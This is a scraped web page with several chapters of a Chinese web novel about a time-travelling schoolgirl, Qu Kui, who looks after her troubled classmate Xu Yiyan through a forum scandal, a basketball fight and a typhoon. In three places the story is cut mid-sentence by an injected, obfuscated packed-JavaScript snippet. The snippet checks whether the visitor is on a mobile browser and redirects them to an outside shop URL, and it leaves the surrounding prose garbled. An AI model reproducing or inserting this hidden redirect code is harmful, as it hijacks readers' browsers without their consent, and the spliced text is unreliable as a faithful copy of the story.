“我是他同学。你知道许一宴家住哪吗,他喝醉了,我准备帮他叫一辆出租车。” “噢噢,他出去玩居然不叫我!等等,他居然醉了??”朱覃难以置信,“不对啊,他……” 剩下的话曲葵没有听见,因为许一宴把手机抢过去挂断了,他的头发因为之前枕在臂弯里压得有点乱,口中含糊说了一个地址。 “溪……春苑吗?” 许一宴缓缓点头,然后问了和上次相同的问题:“那个靠打架出名的,是你男朋友吗?” 曲葵怎么从他声音中听出了几分幽怨的滋味:“不是,只是朋友。” 于是许一宴吐了口气,像是终于放心了。 步行街人太多,汽车开不进不来,曲葵拉着许一宴去隔壁街道。路口站了几分钟,才有辆出租车慢悠悠停下,司机摇下车窗,曲葵说溪春苑。 曲葵伸手拉开车门,站在身后的许一宴却倏地说:“你今天很好看。” 曲葵动作一顿,心想他真是醉得厉害才会说这种话:“嗯嗯,出租车到了,你进去吧。” “在赶我走吗?” “没有,只是太晚了。” 许一宴抬腿进去,端端正正坐着,在曲葵关上门之际,又像执拗的孩童靠过来,小心翼翼拉着她的袖子,口吻真诚:“你唱歌很好听。”他强调了一遍:“真的很好听。” 曲葵心头酸涨,看着许一宴良久,才说了声“谢谢”。 许一宴低头嗅嗅她的衣服,“但是以后去酒吧唱歌,别抽烟,也别喝酒了。” 曲葵真是跳进黄河也洗不清:“我没有抽烟。” “你们能不能别眉来眼去了,这里不能长时间停车。”司机开始催促。 “不好意思。”曲葵连忙说。 在车门关上的瞬间,许一宴眼睛恢复清明,哪里还有醉酒模样。 朱覃电话打过来,他接通,听朱覃在那头急不可耐问:“你真的醉了?到底喝了多少啊!” “一杯。” “你是想笑死我吗?” “没事的话先挂了。” “喂,醉人的真是酒吗?”朱覃调侃,“酒不醉人人自醉是吧。” 许一宴直接挂断电话。 28.停摆 扬明高中的校园贴吧在疯狂转载一条视频。 视频时长只有五分钟,内容是四人乐队在酒吧舞台上唱歌。手机主人拍摄位置离得很远,背景昏暗,头顶彩光朦胧迷幻,站在舞台上的人五官有些看不清。舞台下人群攒动,尖叫和口哨声在歌声结束后差点掀翻屋顶。 这个视频是我隔壁学校的闺蜜转发给我的,说有乐队在步行街那个酒吧演出。但上面四个人我怎么越看越感觉眼熟。 1#哈哈哈 等我看看。 2#考神再爱我一次 卧槽,等下,我怎么也感觉很眼熟,特别是那个女生旁边高高的男生,怎么那么像我的男神??? 3#考神再爱我一次 你男神谁啊? 4#哈哈哈 学校公认的男神不就两个吗?学习好的那个应该不会去这种地方吧= = 5#考神再爱我一次 截图(放大、比较清晰版),你们难道不觉得这个女生很像高三7班的曲葵吗?虽然化着妆,但她那个五官也太有辨识度了吧。 6#作业啊 …… 我刚才从酒吧回来了,同学们不用猜测了,就是曲葵和程渡他们。 14#V 卧槽,好听。 15#考神再爱我一次 …… 卧槽,好听+10886 30#可口可乐 …… 我记得程渡之前不是就在玩乐队,原来他乐队的主唱是曲葵。果然好看的人都是和好看的人一起玩,另外有没有人知道,他们两个是不是好上了? 109#封心锁爱 不信谣不传谣,低俗的人看什么都是好上了,两人只是普通朋友好吧。 110#瑶瑶 楼上怎么那么大火气,吃枪子了吗。 111#封心锁爱 小道消息,曲葵小时候好像得过小提琴大赛的奖杯,她妈妈原来是国际很有名的小提琴手。你们去度娘上应该还能搜到。 112#听歌达人 …… 那岂不是她是音乐世家,牛而逼之,但她为什么不拉小提琴了。 113#考神再爱我一次 女神好美唱歌好好听,不说了我是曲葵的狗。 113#可口可乐 …… 113L能不能说点大家不知道的,另外我也是曲葵的狗 225# 下雨 我也是曲葵的狗 326#天晴 我也是曲葵的狗 327#x-y 努力低调的曲葵发现周围视线激增。譬如周一升旗,她和徐梅从教室走到升旗广场那短短几百米的距离结果不断有人看她。徐梅脸皮薄容易害羞,这些视线令她感到很不舒服,不得不主动和曲葵拉开距离。 课间曲葵去卫生间洗因为擦黑板沾上粉笔灰的手,擦身而过的女生忽然来了一句:“你唱歌真的好好听,加油!” 曲葵:“???” 值日那天她下楼倒垃圾,有个男生跑过来往她手里塞了一封信,之后跑腿就跑,速度快得曲葵甚至没有看清楚他的脸。 曲葵一脸茫然地提着空桶回教室,发现去竞赛班的许一宴不知什么时候回来了,在写题。 许一宴抬头就看见曲葵手中捏着封粉色信封,他停了笔,明知故问:“你手上那是什么东西。” “这个吗,好像是告白信。”曲葵把垃圾桶放好,将信封随意放进桌箱,提起书包问:“你准备走了吗,还是要等一会?” 许一宴沉默几秒,合上笔盖:“走吧。” 走出学校,许一宴忽然停下脚步,视视线飘渺落向别处,不经意地问起:“最近是不是有很多人和你表白?” 以往两人一起出校门时,许一宴会刻意放缓脚步等曲葵,但今天他没有,步子迈很开,大步往前走,两人之间隔了三米,许一宴嗓音很低,喃喃自语似的,曲葵听不清。 她放大声音:“许一宴,你是不是在和我说话?” “没有。”许一宴否认,不知道为什么,曲葵觉得他语气有点冷。 曲葵:“你不高兴吗?” “没有。” 十点后曲葵躺在床上并无睡意,心中思考着该怎么进一步和许一宴拉进关系,身旁手机在黑暗中亮起来,她以为是许一宴发消息,拿起来看,是吴椎在乐队的四人小群里@全体成员。 vvz:【那个我有点惶恐。】 :D:【?】 vvz:【我们是不是要扬名立万了啊,你们看看。】 vvz:【链接。】 曲葵翻了个身,点进去才浏览几秒钟就是两眼一黑的程度,视频下盖了五百来层楼,把他们几个的姓名年纪班级星座扒得干干净净,再详细点估计乐队四人的身份证号码都要被扒出来了。 不对!许一宴那天也在酒吧啊。 曲葵慌了神,来来回回翻看,看见没有许一宴信息才松了口气。 要是拍到许一宴跑去酒吧,估计明天就是他们五个人同时被叫到办公室挨批斗。 曲葵想到许一宴醉酒模样就忍不住想笑,那么高冷的一个人,居然喝杯加了点酒的果汁就醉倒,而且还会撒娇。 四人小群叮叮咚咚弹出消息,曲葵仰面看着漆黑的天花板,某个时刻脑海灵光乍现。 她连忙爬起来开灯,翻看许久未打开的克莱因蓝谱曲本,在新的空白页面上写下几个音符。随着那段音乐在脑海中形成,后面衔接的旋律便不受控制自发形成,待曲葵回过神后,面前的页面已经被写满。 曲葵长出一口气,轻声哼唱出整段旋律,很快喉咙发紧,声音便短短续续,直至再也发不出声音。曲葵眼眶倏地湿润了,心口酸胀分不清此刻到底是开心还是难过。唯有一点清晰明了。 那就是她在想许一宴。 sersin:【睡了吗睡了吗?!!】 许一宴很快回复。 Y:【还没有,怎么了。】 sersin:【没事,就是想问问你什么时候有空?】 Y:【应该要到竞赛结束后。】 sersin:【等你竞赛回来,周日下午我们天堂湖见怎么样?】 Y:【你要干嘛。】 sersin:【哼哼,保密!】 许一宴过了五分钟才回复。 Y:【好。】 曲葵开门下楼,走进练习室,悄悄关上门,手机放在支架上点击录音,抱着吉他席地而坐,手指颇动吉他弦,弹奏谱曲第一行。 她上传一段只有30秒的音频到音乐APP,命名为《一首为他作的歌》备注:完整版待发。 曲葵开始迫切希望太阳雨那天快点到来,因为那天许一宴会出现。 周五这天,那场令天气预报也没有预料到的暴雨如期而至。 由于曲葵提前把窗户关好,雨点在第二节课铃声响起时狠狠砸在窗户上,狂风吹得大面玻璃窗户轻微耀光,原本会把堆积在课桌上试卷吹得满教室到处飞的场景这一次并没有发生。 曲葵听不进去课,拿着草稿纸想歌词,没有灵感,怎么写都感觉不适合。 天气在临近放学时变晴,徐梅没有问曲葵要不要出去吃饭。 曲葵倒是无所谓,不过她把草稿纸扔进书包的时候,发现教室里许一宴早就没影了。 学生带来的雨伞统一放在卫生角的架子上,曲葵担心追不上许一宴,没拿伞就匆匆出了教室。 楼道拥挤,曲葵没办法加快脚步,只能跟着大部队缓慢下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010420|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼,看着前方许一宴的身影从楼梯拐角消失又出现。 ** 许一宴最近的状态时好时坏,许明念必须取得好成绩的要求让他时常狂躁得想砸坏东西,而曲葵告白在短暂的欣喜若狂后逐渐朝着迷茫恐惧转变。 上课时许一宴发现自己在走神,纷杂思绪难以集中,许一宴听见嘈杂响声才反应过来在下雨,噼里啪啦,声音逐渐与不久前的那个梦境重合。 那是他开始对外界产生认知以来就经常出现的梦,那个被他叫做妈妈的魔鬼,蜷缩在房间角落的童年形态的他自己,以及尝试过无数次却总是无法离开的童年小套房。他对这个梦已经习以为常。 可是那天梦中出现的陌生女人,样貌本该模糊,而她却好看得惊人、清晰,绝不是他十八岁年间见过的任何一个。 不,很快许一宴便想起来,有一个女孩五官和她很相似。 许一宴听见梦中的自己说:“你是谁。” 她说话了。 她说:“我叫曲葵。” 她说:“我会去过去找你。” 她也说:“我不会伤害你,因为我喜欢你。” 梦见未来的高中女同学有多大概率? 答案是不可能。 为什么不是长大的他梦见长大的曲葵? 为什么梦中成为成年人的曲葵要那样哀哀地看他,仿佛受了天大打击。特别在他和曲葵相遇在金鱼店的那天起,原本对他从来不正眼相看,即便是某个时刻擦肩而过也不会和他打招呼的曲葵,眼中的那抹高傲、目中无人的神情消失了。重新看向他的,只有一双亮晶晶的,带着小心翼翼试探的眼睛。 这桩桩称得上离奇的事件,许一宴全都想不明白。 情绪的影子一冒出,便再也不受他控制地失控起来,笔尖不知何时落在试卷上,墨水晕染大片白纸。 “呀!许一宴,你的试卷。”同桌发现后用胳膊肘撞了他一下,小声道,“活久见,你居然在开小差。” 许一宴看着那摊黑迹,原来的字迹已经看不清,他突然生出一种将试卷撕碎。但理智告诉他自己在教室里,他不能当着那么多人发疯。许一宴将试卷翻了个面,紧紧咬着唇边内壁的肉,直到口腔血味蔓延。 疼痛感使他好过了一些。 最起码,还有种在呼吸的假象。 许一宴在放学铃响起时就走出教室,根本没有看见身后还有在追赶他的曲葵。 彼时许一宴的心中只有那种趋近自毁的念头,曲葵在骗他,在逗他,一定是她看见自己在吃药,所以还要同情他。在这层浅显的背后,又有一个声音在说,她不是那样的人。 许一宴不是迟钝的人,很快就想清某些事情。 天空细细密密的雨落在他身上,许一宴头发和肩膀很快湿了。人声鼎沸的校门像被人按了静音键,许一宴什么都听不进去,只有变得越来越急促的呼吸。 他告诉自己,不应该再想下去了。 “许一宴!” “许一宴,打篮球!!” 两道声音同时从身后响起。 许一宴的脚步乍然顿住。 在许一宴僵硬转过身去的刹那,他看见站在天光下的曲葵,便再也移不开眼。 两人隔着雨雾对视,许一宴觉得他和曲葵之间横着一条难以跨越的时间,梦境中那张相似又陌生的面孔,五官在逐渐重合。 最终是曲葵先迈开腿,朝他走过来,每一步都走得那么坚定。无论是她面上带着浅浅笑意,热切,像一团不会熄灭的火焰,以及那些许一宴身上天生不具备的特质。 全都让他难以招架。 曲葵走到他面前,仰起脸。 “许一宴,我在后面,追了你好久。” 雨点细细密密,落在她头顶,埋进发丝间,像雪。 29.小雨 “谁能告诉我现在这是什么回事?” 食堂,朱覃生无可恋看着和他并排坐着的,许一宴对面的曲葵。 “说吧,你两什么时候在一起的。” 十分钟前。 刚放学时朱覃给许一宴发短信问打不打篮球,许一宴没回他。朱覃知道他这个发小是个大忙人,没多想。结果朱覃刚从田径场回来,穿过教学楼大厅的时候远远就看见快要走出校门的许一宴。 他心里一直挂着昨天和十二班那几个体育生打篮球输了的事,看见许一宴就想叫他和自己去一雪前耻。朱覃想都不想就喊许一宴名字。 令朱覃感到意外的是,与他同时开口的还有与他相隔几米的女生。朱覃心说胆大哦,众目睽睽下就想告白,就看见转身的许一宴朝那个女生看过来,眼中裹挟着的情绪朱覃用他贫瘠的语文能力难以形容。是他从来没有见过的,专注。 朱覃闻见八卦的味道。 还说不会谈恋爱,啧啧。骗谁都行可别把自己骗了孩子。 在朱覃手忙脚乱翻手机想拍照发给许一宴嘲笑他的空档,前面那两人距离已经缩小到面对面了,许一宴微微垂头,不知道在说什么,最后两人都朝他走过来。 看见女孩脸时,朱覃满脸跟见鬼似的难以置信:“???” 如果他没看错的话,许一宴身旁的这个女生……这这这这不是不久前在贴吧上被疯狂转载的那条视频里的主人公曲葵吗!! 朱覃:卧槽! 许一宴:“你刚才叫我?” 朱覃眼睛瞪圆,飞速打量曲葵,确认自己没有看错:“啊,应该有的吧。” 许一宴:“你找我打篮球?” 朱覃:“啊,嗯……” 就在他祈祷许一宴拒绝的时候,许一宴点头:“去。” 站在许一宴身边的曲葵说:“我可以和你们一起吗?” 她虽然在问许一宴,看的却是朱覃,热络眼神明显不像在看陌生人,朱覃心里翻腾起古怪感,回望过去,还没细想两人有没有在什么学校活动里说过话,许一宴朝前走了步,用身体挡住曲葵。 朱覃:“……” 然后,就是现在这样了。 朱覃用十分钟时间终于消化掉许一宴谈恋爱这件事,然而他心中老父亲般的欣慰还没持续几秒时,许一宴否认:“没有。” 说完许一宴立即便反应过来不该这么说,于是匆匆抬头去看曲葵,但曲葵看起来并不在意,神色如常得好像根本没听见他的话,她吃饭时右边腮帮子会鼓起来一些,看起来很可爱。 “嗯,”曲葵回答了朱覃的问题,“我还没追到他。” 许一宴抿唇,想反驳他不是这个意思,被朱覃剧烈的咳嗽声打断。 朱覃一口饭差点喷出来,咳得上气不接下气。 “哈!!?” 许一宴将盘子朝另一边挪了挪,没说话,心里有说不上来的失落感。 由于下雨,原本在球场上打篮球的学生跑去了室内篮球馆,三人刚进门,场上人已经满了,曲葵人还没看清,就瞥见一个篮球朝她脑门袭来。曲葵不是没遇到过这种情况,刚想躲,许一宴比她反应更快,一巴掌重重将篮球拍了回去。 篮球在木质地板上高高弹起,被人接住,是昨天把朱覃以一分之差打赢的那个12班的黑皮体育生。 朱覃暴跳如雷:“你丫疯了!不怕误伤人!” 黑皮男生目光落在曲葵身上,停顿几秒,抬起下颌挑衅:“我说你今天怎么来这么晚,原来是去搬救兵了。” “艹!那咋了,你怕了?”朱覃不吃他的激将法,脱掉外套,抬腿去场上,走了两步回头见许一宴没有,扭头用眼神暗示:你怎么还站在那?说好的替好哥们撑场呢?? 许一宴装作没看见。 如果没遇到曲葵,许一宴今天是不想打篮球的,但他今天心情不好,特别是在那个男生故意打过来的篮球差点砸到了曲葵而达到了阈值。 许一宴对曲葵说:“你想不想看我打。” 曲葵自然是想。她之前还和许一宴一起打过台球呢,可惜现在的这个许一宴不会知道了,曲葵心中有些落寞,抬起手朝许一宴打气道:“想看!我去观众席上给你加油。” “好。”许一宴嘴角上消失的弧度,快得像曲葵看见的错觉。 距离上晚自习时间还有半小时。 许一宴和朱覃顶替两个换下来的蓝队成员,把号码牌套在身上,朱覃是2号,许一宴时9号。曲葵走到观众席上第二排,双手杵着铁栏杆往下看,几乎不用寻找就看见人群中最醒目的许一宴。室内篮球上每届高一都会办篮球赛,计分栏没有撤走,站在旁边的女生把上面两方号码归零,重新开始计分。 朱覃从小学起就强拉着许一宴陪他打篮球,其名曰怕人学傻了,大部分情况下许一宴都是被他拉来凑人数的,打得那叫一个划水,不防守不进攻也不投球,接到别人抛来的球就反手扔给他。 但今天许一宴打得特别凶,红队个头矮些的男生刚接到球,没跑两步就被许一宴截了,朱覃看准时机喊:“给我!”话音未落,篮球从他头顶高高越过,以一个漂亮的抛物线落进球网。 是个三分球!朱覃没多想,只觉得是观众曲葵的加持,干脆朝曲葵所在的地方比了个大拇指。 曲葵一脸懵逼地回了声“加油”。 随着时间流逝,饶是朱覃反射弧长得异于常人,也逐渐品出不对。 许一宴似乎特别针12班挑衅的那个男生。 彼时两队人在中场休息时分别商量打法,比赛再次开始,许一宴就被两个红队的学生防住了。他干脆放弃投球,跑去干扰黑皮,比赛结束前的十分钟,黑皮愣是没摸过一次球,两队分数拉得快要超过两位数,并且数字越来越大。 业余裁判哨声结束的前五秒,许一宴接到朱覃扔过来的篮球,瞄准的并不是三米外的球架,而是朝黑皮所在的方向砸去。 尖利悠长的哨声盖过周围的小声提醒,黑皮触不及防被篮球砸到后背,朝前踉跄两步,差点跌倒在地上。 “许一宴!你他妈疯了?!不知道这样很危险吗!” 许一宴平静垂下手:“你现在知道危险了,刚才心里怎么没点数呢。” 他毫不在意道:“怎么,需要扶你去医务室吗?” 黑皮知道许一宴用篮球砸他是为什么,可周围那么多人看着,十七八岁的高中男生最是气血方刚,他脸上挂不住,阴沉着脸快步走过来,抡起拳头就朝许一宴脸上揍。 “不就是个只会读书的弱鸡,装什么B呢?” “许一宴!” 许一宴余光瞥见曲葵正从观众席上跑下来,满目慌张,多关心他似的。许一宴原本准备躲开的动作倏然停住。随后他被一拳打得偏过头,因为外力朝后踉跄几步,嘴角火辣辣地痛,那拳头打在他自己咬破的伤口上,伤口重重磕上牙齿,裂开得更大,霎时,满口铁锈味。 朱覃反应过来,一把揪住黑皮衣领:“艹!你想打架是吧!早看你不爽了!” 对方显然不理解许一宴为什么不躲,一时愣住,被朱覃一拳头差点砸在脑门上,眼看好好的篮球比赛就要发展成打架斗殴,几个学生忙不迭冲上去将朱覃扯开,门口那儿传来体育老师一声震天动地的叫喊声:“干嘛呢干嘛呢你们!!高三了还在打架,胆子硬了不怕记过是吧!” 临近晚自习,没开灯的室内篮球馆一片昏暗,许一宴纤长的睫毛在他眼睑下方投下阴影,遮盖住原本就晦暗不清的眼神。 许一宴舔了舔牙根, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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想到这里她有些怆然,她不是没有过低谷时期,特别是举步艰难的那几年,恨不得结束。所以她不会劝许一宴快点好起来,只想希望能通过陪伴让许一宴得到更多安全感,直到许一宴愿意把自己的事情告诉她。 而许一宴只是一错不错地望曲葵,嘴角形成浅浅的,不易察觉的弧度。 他求饶道:“别生气了,好痛,手下留情。” 走出校医室,天黑透了,不知何时重新降落的雨点,砸在头顶延伸出的铁皮屋檐上,清脆作响。 从校医室到教学楼的距离几百米,路上可挡雨的地方少,两人不约而同抬头望漆黑的夜。晚自习的两遍铃声早就打响,反正已经迟到,心里也没多急,许一宴转身去校医室借伞,曲葵看出他意图,拉住他:“不用那么麻烦。” 她将手伸出去,几秒后缩回来,在许一宴面前展开:“看,是小雨。” 许一宴倾过身来看,见曲葵掌心中落着许多小小的水珠,还不等他说话,曲葵把校服外套脱下来,罩在许一宴头上,“这样应该可以挡住一下雨。” 许一宴想躲却没躲开,曲葵校服外套将他的脑袋全部遮住,他闻见那股属于曲葵身上的洗衣液香味,脊背瞬间绷得笔直,应激似的把校服扯下来,甩给曲葵:“我不需要。” “你的伤口不能沾水。”曲葵对他的拒绝置若罔闻,把校服撑在头顶,“真的不和我一起?” 许一宴眸光微闪,思量片刻,发现无法拒绝。曲葵拉过校服一边,重新罩在他头上,两人躲在校服底下,属于曲葵的气味侵染许一宴领地,让他逐渐分不清是谁的味道,两人近得能听见耳边呼出的气流声,曲葵长发扫过他裸露在外的皮肤的触感,是冰凉的,也是柔和的。 许一宴睫毛轻颤,没有说话。 “走咯?”夜色与校服挡住曲葵微红耳尖,此时此刻故作淡定的声音反而更加彰显内心的欲盖弥彰。 许一宴不知有没有听出来,只低低说。 “嗯。” 两人一起迈入雨中,在逐渐昏黑的天色里,各怀难以言说的心事。 30.撼动 在台风“向日葵”降临前,曲葵就提前去超市买各种东西。生活物品、充电宝、方便面……买了满满购物车。她打电话让曲林下班来超市接她。 “你怎么买这么多东西。”曲林到超市门口,就看见曲葵身边那满满一车的东西,扶额震惊,“难道世界末日要来了吗?” 曲林看报纸,自然也看到过关于2012年世界末日的预言。不过他不信这些。 “你不觉得最近天气很不好吗?” 最近降温降得厉害,曲葵身上的衣服已经从短袖外套变成毛衣,她把车推上人行道,往后备箱里塞东西。曲葵半真半假地说,“我预感台风就要来了。” 扬明虽是个小县城,但所在的省份临靠大海,每隔几年就会受到从别地区刮来的台风影响。曲林也是知道的,但只是摇摇头,笑说:“你又不是天气预报,怎么还未卜先知了。” “防范于未然嘛。”曲葵不会告诉他关于台风的事情自己早就经历过一次了,太荒唐了,曲林不会相信的。 为什么这么笃定,是曲葵发现,她所能改变的只有一些微末的事情,至于过去固定的节点,譬如那场使许一宴惊恐症发作的车祸,以及降临的台风,曲葵无可奈何。 为了避免像上次那样手机关机整周,曲葵特地买了三个大号充电宝,赶在台风前把电充满,然后在房间窗户两边贴上胶布。林语邱路过她房间时,正好看见曲葵站在乱糟糟的书桌上垫脚扯胶带。 “又在做什么妖。闹心。”林语邱看见曲葵这些莫名其妙的举动就觉得烦。 曲葵剪胶带的动作顿了顿,如果按照往日剧情,她应该会跳下来,去大声反驳林语邱,然后两人又一次上演吵架的戏码,最后是她们两其中谁摔门而去。但这次,曲葵只是听见细微的胶布断裂声,直至她拿剪刀的手垂下,也没有回头。 她无法改变林语邱离开的事实,也无法改变林语邱不怎么爱她。 每次想起,就会连说话兴趣都失去。 楼下传来关门声,林语邱离开了。 三天后,许一宴前往木棉市参加全国高中生数学竞赛。 曲葵在前一天,给他发去【考试加油,我等你回来,加油、jpg。】 许一宴还是回得很快。 Y:【知道了。微笑微笑emoji。】 一切事件随着曲葵记忆里那样,如期而至。 早上的第二节体育课因为下雨被替换成物理随堂测试。 大课间,一大群男女生聚在后两排押注数学竞赛的第一名。曲葵没有参与,整理课桌里被她搬得差不多的书。 中午午休,曲葵没有午睡,躺在床上等许一宴的消息。 她记得许一宴会在13:10给她发消息。 眼看时间超过中午一点,并且快到突破一点半,房间里始终静悄悄,只有窗外嘈杂的雨声,就在曲葵昏昏入睡之际,听见手机那方传来特别关心的叮咚提示音。曲葵睡意全无,蹭地从床上弹起来,盘腿去看许一宴给她发的消息。 许一宴:【雨好大。图片、jpg】 曲葵将图片点开,是许一宴站在酒店落地窗边给她拍的照片。与记忆里一模一样的构图,就连他倒映在玻璃窗上的黑色毛衣,都与前个时空里曲葵看到的相同。 曲葵在手机上打字:注意好安全。 正要点击发送按钮,在指尖快要触碰到屏幕的那瞬间,忽然像被静电击中中似的刺痛了一下,曲葵紧盯手机上那行字,全部删掉。 她记得上个时空的台风天当日,许一宴给她发过一条语音,她听出许一宴的情绪不好。后来许一宴对她说过住他酒店旁那个房间的事情。只是她在和许一宴结束通话后手机就因为没电关机,所以也无法证实。如果是当时许一宴看到了什么,才导致…… 等等,车祸那时,许一宴是因为什么惊恐发作的? 尸体,还是血? 或者都有。 心脏在扑通狂跳,曲葵感觉自己快要抓到了某种能进一步了解许一宴的东西。她翻身下床,顾不上穿拖鞋,跑到书桌边,随手翻开笔记本,匆匆撕下一页纸,咔哒摁下圆珠笔,在上面写下许一宴说的话。 昨天。划掉,昨晚——我隔壁……的房间玻璃被风吹倒了,然后是什么来着?快想,快想曲葵。女生……女生、腿被玻璃划伤流了很多血,血……她当时离玻璃窗很近。 曲葵脑海中有画面感了。 飞溅玻璃才有可能扎进小腿。许一宴肯定是听到隔壁有玻璃砸碎的巨大声音才会出去查看。事态紧急,他应该来不及查看对方状况,只能想办法先帮人离开房间。 但他一定会发现血。 曲葵终于知道事发当晚她曾因为担心许一宴给他打过语音,许一宴没接也没有回复,直到第二天将近一点才发来消息的原因了。 曲葵将毛衣扔到床上,拍照发给许一宴。 serein:【扬明也在下雨,好冷,刚才翻压箱底的毛衣去了。】 serein:【你不觉得这雨下太久了吗?对了,你还记得去年扬明有没有刮台风吗?】 许一宴:【台风?去年好像是九月份左右。怎么了?】 serein:【都说女生的第六感最准,我最近有种预感,明天要刮台风了,还是超级大台风。】 许一宴:【……】 曲葵直接发语音过去:“怎么,你不相信我?” 许一宴半晌才回复语音,隐隐带笑意:“当然相信。” 很快他又发了一条过来:“只要是你说的,我都相信。” 曲葵:“……”可恶,被撩到了。 第二天,曲葵手机收到台风“向日葵”着陆的预警短信。下午三点,学校根据气象站发布的台风预报停课放假。 曲葵早把桌箱搬空了,此时背着轻飘飘的书包站在教室门口给曲林打电话,挂断后,朱覃正巧走过来,穿着鹅黄色的羽绒服,左胸口上印着一只唐老鸭。 他热情道:“曲葵,许一宴座位在哪呢?我来给他搬书。” 曲葵给他指方向,说:“需要帮忙吗?” 朱覃忙摇头:“不不不……我哪敢使唤你,而且我也抱得动。” 曲葵点头,笑道:“我们一起下楼吧,有点事情想问你。” 朱覃:“是问许一宴的事?可以啊!” 下楼时,曲葵将早已准备好的问题说出口:“你和许一宴最近有没有在电话里聊过天?” 朱覃“啊”了声,觉得曲葵的问题有些奇怪,他想了想:“二试刚结束的时候吧,我问他考的怎么样,结果他把电话挂了……你想问的就这个?没有其他的了?比如他小时候的事情,你难道一点都不好奇??” 然而曲葵看起来确实没有特别好奇,只是眉头紧锁着问:“他当时情绪,听起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023357|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来怎么样,正常吗?” 朱覃语气更加懵:“……挺,挺好?”两人走到一楼,朱覃迟疑地问:“那个,你们是不是吵架了?” “没有。”曲葵扶额,她发现朱覃好像误会了什么,解释道,“关于许一宴小时候的事情,我还是希望他能亲口告诉我。” 朱覃满脸哇哦我磕到了的表情:“确实,必须的!” 坐车回家路上,曲葵给许一宴发消息。 【许一宴,现在你在哪里,看到请回复。】 应该提前问考试结束时间的。曲葵心口发紧,她怕自己的消息发得太晚,错过可以挽救的时间。 十分钟后,手机屏幕弹出特别关心的消息。 许一宴:【在酒店里。】 很快许一宴问:【你是怎么猜到台风的。】 林语邱照常不在家中,曲葵将书包挂在衣衣帽架上,窝在沙发里。 【可能我未卜先知吧。】曲葵不想在提前预知台风这个话题上停留过久,她接着打字。 ** 许一宴捏着房卡,按下电梯上行键,电子屏中显示电梯在下降。台风通知很突然,高速被封,机场停飞。除了本市参加竞赛的学生,别市来的一个走不了。可当许一宴得知这个消息之后,他竟然没有太多的诧异和烦躁,首先想到的是昨天曲葵告诉他有关台风的预感。他居然以一种奇怪的方式提前得知了。 当这个念头转瞬而逝之后,心中涌起的是更剧烈的震动。 许一宴无法将这个事件归结于巧合,而他潜意识中觉得自己居然会选择相信更是荒唐得让他哑然失笑。 心中有个声音在回答,萦绕着,久而不落。 因为你知道那是她说的。 不是吗。 贴着大腿的手机在震动,许一宴拿起手机,望着对话框里弹出来的新消息。 【你酒店房间号是多少?】 电梯门开了,许一宴快速回复703,抬脚走进电梯,他摁下5。关门之际,有个女生走进来,站在角落里,没有摁电梯键。 电梯里没有信号,许一宴没再看手机,盯着电子屏幕中不停滚动的箭头发呆。 很快电梯到楼层打开,许一宴等女生离开才出去。手机重新恢复信号,特别关心的消息提示音在寂静走廊里叮叮咚咚响起。 许一宴摁亮手机,也许是过道太冷清,两边长而窄的空间,在昏暗光线中有种被挤压,拉长的视觉效果。他看着屏幕中接连弹出来的消息,脚步顿住,心底倏忽生出血液凝固的寒意。 葵:【住你旁边的是个女孩。】 葵:【我不知道事故具体发生的时间,也不知道来不来得及。】 葵:【她可能会因为台风受伤。】 葵:【我知道听起来很荒唐,但直接告诉你好像是我目前能想到最好的办法。】 许一宴不由自主屏息,耳廓里响起的是在无声空间中骤然增加的心脏跳动节拍。 一声比一声更剧烈。 一下比一下更令他感到悸动。 咚咚咚。 咚咚咚。 许一宴掀起眼皮,看见那个走在他前面的女生用房卡刷开了门。细微关门声停止的几秒后,许一宴沉默站在703关严的门前,没什么表情地朝旁边的702瞥去。 最后一条消息弹出来。 葵:【许一宴,你愿意相信我吗?】 31.相信 相信。 许一宴没有停顿地敲下这两个字。发送后,他看了眼时间,傍晚六点。 雨滴拍打冲刷着落地窗,远处的大厦静静矗立在雨雾中,台风来临前的傍晚,整座城市陷入某种紧张,临阵以待的情绪。渐渐地,散发出来的朦胧灯光也被阵阵滚动的遮住,什么都看不清。 很快有人敲响许一宴的房门。是个戴着厚重镜片,遮得有些看不清眼睛的男生,有些迟疑地看着他。 同校十二班的同学,许一宴经常在成绩看前几排看见过他的名字。 眼镜同学说:“学神,酒店准备了晚饭,要不要一起下楼看看?” “好。”许一宴转身把房卡拿出来,关上门,他的眼神落在隔壁702上,脚步顿住,对男生说,“等下。” 许一宴侧身敲响702的门,房间里拖鞋声音由远及近。 门开了,女生举着手机,耳朵上挂着一只耳机,站在门口,打量他们几眼,最后目光落在许一宴脸上。 她应该是在和父母通电话,先是说了句“有人找我”,然后问:“你们有事吗?” 许一宴声音淡漠:“同学,如果你没有吃饭,可以和我们去楼下。” “可以吗?”女生看着他,有些不好意思地说,“我其实一直想下去看看,但是又害怕,你们可以等我下吗,我去穿个外套。” 许一宴低头看了眼手机,曲葵没有回复。许一宴猜测她现在应该去吃饭了,或者在做台风的防范措施。他有很多问题想要问她,不适合在手机里问,他想要当面说。 